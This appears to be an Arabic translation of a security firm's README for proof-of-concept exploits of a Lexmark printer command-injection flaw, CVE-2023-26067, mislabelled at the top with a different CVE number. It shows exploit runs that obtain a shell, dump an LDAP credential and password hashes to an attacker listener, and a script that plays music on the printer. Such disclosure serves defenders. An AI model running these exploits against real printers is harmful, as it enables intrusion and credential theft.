CVE-2023-34362

أكواد إثبات المفهوم (POCs) لاستخراج بيانات الاعتماد، والصدف العكسية، وتشغيل الموسيقى من خلال استغلال ثغرة حقن أوامر، CVE-2023-26067، التي تؤثر على طابعات Lexmark.

التحليل الفني

يمكن العثور على تحليل تقني للسبب الجذري للثغرة في مدونتنا: https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

الملخص

يستغل هذا الكود (POC) ثغرة حقن أوامر للحصول على صدفة بصلاحيات مستخدم httpd

استخراج بيانات اعتماد خدمة Active Directory النصية وبيانات الاعتماد المحلية

python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C

python3 BitConductor.py -s mario Converting: mario ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0

CVE-2023-26067

الأكثر شعبية

الصدفة العكسية

تشغيل الموسيقى

العرض التوضيحي

الإجراءات التخفيفية

تابع فريق الهجوم Horizon3.ai على تويتر لآخر الأبحاث الأمنية:

إخلاء المسؤولية